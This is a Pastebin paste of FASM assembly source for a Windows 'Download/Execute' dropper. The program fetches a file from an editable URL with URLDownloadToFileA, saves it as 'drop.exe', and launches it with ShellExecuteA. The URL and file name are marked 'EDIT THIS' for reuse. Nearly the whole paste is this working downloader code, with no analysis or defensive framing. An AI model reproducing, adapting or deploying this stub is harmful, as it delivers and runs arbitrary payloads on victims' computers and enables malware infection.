Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- format PE GUI 4.0
- ; FASM Download/Execute
- ; EDIT _url and _file params
- ; FASM used to compile
- entry start
- include 'include\win32a.inc'
- section '.data' data readable writeable
- _urlmon db 'urlmon.dll',0
- _shell db 'shell32.dll',0
- _URLDownloadToFile db 'URLDownloadToFileA',0
- _ShellExecute db 'ShellExecuteA',0;
- _url db 'http://localhost/',0 ;EDIT THIS
- _file db 'drop.exe',0 ;AND THIS
- section '.code' code readable executable
- start:
- invoke LoadLibrary, _urlmon
- cmp eax, 0
- je exit
- invoke GetProcAddress, eax, _URLDownloadToFile
- cmp eax, 0
- je exit
- push eax
- push 0
- push 0
- push _file
- push _url
- push 0
- call eax
- pop eax
- invoke FreeLibrary, eax
- invoke LoadLibrary, _shell
- cmp eax, 0
- je exit
- invoke GetProcAddress, eax, _ShellExecute
- cmp eax, 0
- je exit
- push eax
- push SW_SHOW
- push 0
- push 0
- push _file
- push 0
- push 0
- call eax
- pop eax
- invoke FreeLibrary, eax
- exit:
- invoke ExitProcess, 0
- section '.idata' import data readable
- library kernel32,'kernel32.dll'
- import kernel32, ExitProcess, 'ExitProcess',\
- LoadLibrary,'LoadLibraryA',\
- GetProcAddress, 'GetProcAddress',\
- FreeLibrary, 'FreeLibrary'
Add Comment
Please, Sign In to add comment